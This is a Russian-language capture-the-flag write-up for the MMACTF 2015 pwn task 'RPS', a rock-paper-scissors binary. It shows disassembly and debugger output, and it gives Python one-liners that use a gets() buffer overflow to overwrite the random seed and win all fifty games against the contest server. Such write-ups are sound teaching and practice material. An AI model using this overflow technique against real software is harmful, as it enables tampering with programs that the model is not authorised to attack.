RPS (pwn) MMACTF 2015 Write-Up
Сам бинарник - https://yadi.sk/d/r4AkxWoWj3bhC
Смотрим, что это за бинарь
$ file rps
rps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8811962c746e1d068a5fa5b4deb7cb043c30146f, not stripped
И чего от нас хотят
$ ./rps
What's your name: kidcrash
Hi, kidcrash
Let's janken
Game 1/50
Rock? Paper? Scissors? [RPS]
Судя по всему, нужно 50 раз выиграть в камень-ножницы-бумага. Исходя из здравого смысла и того, что задача из категории pwn, нужно попытаться как-то считерить, а не верно угадывать 50 раз подряд.
Пробуем скормить в качестве юзернейма какой-нибудь относительно длинный мусор:
$ python -c "print('A'*100)" | ./rps
What's your name: Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Let's janken
Game 1/50
Rock? Paper? Scissors? [RPS]Bye bye
Segmentation fault
Вероятно, bof в имени.
.text:0000000000400806 push rbp
.text:0000000000400807 mov rbp, rsp
.text:000000000040080A sub rsp, 50h
.text:000000000040080E mov esi, offset modes ; "r"
.text:0000000000400813 mov edi, offset filename ; "/dev/urandom"
.text:0000000000400818 call _fopen
.text:000000000040081D mov [rbp+stream], rax
.text:0000000000400821 mov rdx, [rbp+stream]
.text:0000000000400825 lea rax, [rbp+ptr]
.text:0000000000400829 mov rcx, rdx ; stream
.text:000000000040082C mov edx, 1 ; n
.text:0000000000400831 mov esi, 4 ; size
.text:0000000000400836 mov rdi, rax ; ptr
.text:0000000000400839 call _fread
.text:000000000040083E mov rax, [rbp+stream]
.text:0000000000400842 mov rdi, rax ; stream
.text:0000000000400845 call _fclose
.text:000000000040084A mov edi, offset format ; "What's your name: "
.text:000000000040084F mov eax, 0
.text:0000000000400854 call _printf
.text:0000000000400859 mov rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400860 mov rdi, rax ; stream
.text:0000000000400863 call _fflush
.text:0000000000400868 lea rax, [rbp+s]
.text:000000000040086C mov rdi, rax ; s
.text:000000000040086F call _gets
.text:0000000000400874 lea rax, [rbp+s]
.text:0000000000400878 mov rsi, rax
.text:000000000040087B mov edi, offset aHiS ; "Hi, %s\n"
.text:0000000000400880 mov eax, 0
.text:0000000000400885 call _printf
Видим, что используется gets (отсюда bof) и до этого из /dev/urandom берется seed для srand.
[-------------------------------------code-------------------------------------]
0x40082c <main+38>: mov edx,0x1
0x400831 <main+43>: mov esi,0x4
0x400836 <main+48>: mov rdi,rax
=> 0x400839 <main+51>: call 0x400650 <fread@plt>
0x40083e <main+56>: mov rax,QWORD PTR [rbp-0x18]
0x400842 <main+60>: mov rdi,rax
0x400845 <main+63>: call 0x400660 <fclose@plt>
0x40084a <main+68>: mov edi,0x400b97
Guessed arguments:
arg[0]: 0x7fffffffdd60 --> 0x400af0 (<__libc_csu_init>: push r15)
arg[1]: 0x4
arg[2]: 0x1
arg[3]: 0x602010 --> 0xfbad2488
[-------------------------------------code-------------------------------------]
0x400863 <main+93>: call 0x4006e0 <fflush@plt>
0x400868 <main+98>: lea rax,[rbp-0x50]
0x40086c <main+102>: mov rdi,rax
=> 0x40086f <main+105>: call 0x4006d0 <gets@plt>
0x400874 <main+110>: lea rax,[rbp-0x50]
0x400878 <main+114>: mov rsi,rax
0x40087b <main+117>: mov edi,0x400baa
0x400880 <main+122>: mov eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffdd30 --> 0x7ffff7ffe148 --> 0x0
Далее можно заметить, что юзернейм записывается по адресу меньшему, чем адрес, куда пишется seed. Т.е. есть возможность его переписать, тем самым узнать выбрать для себя заранее последовательность действий (которая полностью зависит от seed-а).
0x7fffffffdd60-0x7fffffffdd30=0x30=48
Перезаписываем seed:
(python -c "print('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\x00\x00\x00\x00\x00\x00\x00\n' + 'S\n'*100)") | ./rps
Далее я просто выбирал действие, которое было выигрышным в данной игре (при каждом запуске выбираются те же самые действия) и в итоге имеем:
(python -c "print('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\x00\x00\x00\x00\x00\x00\x00\n' + 'S\n'*2 + 'P\n' + 'S\n' + 'R\n' + 'S\n' + 'S\n' + 'P\n' + 'P\n' + 'S\n' + 'R\n' + 'S\n' + 'R\n' + 'S\n' + 'R\n' + 'S\n' + 'P\n' + 'P\n' + 'S\n'*2 + 'R\n'*2 + 'P\n'*2 + 'R\n'*3 + 'S\n'*3 + 'R\n' + 'P\n' + 'P\n'*2 + 'R\n' + 'P\n' + 'S\n'*4 + 'P\n'*3 + 'R\n'*2 + 'S\n' + 'R\n'*3 + 'P\n' + 'S\n'*100)") | nc milkyway.chal.mmactf.link 1641
...
Game 43/50
Rock? Paper? Scissors? [RPS]Paper-Rock
You win!!
Game 44/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 45/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 46/50
Rock? Paper? Scissors? [RPS]Scissors-Paper
You win!!
Game 47/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 48/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 49/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 50/50
Rock? Paper? Scissors? [RPS]Paper-Rock
You win!!
Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!!!
MMA{treed_three_girls}
- Автор: kidcrash
- Комментарии: 0
- Просмотры: 2800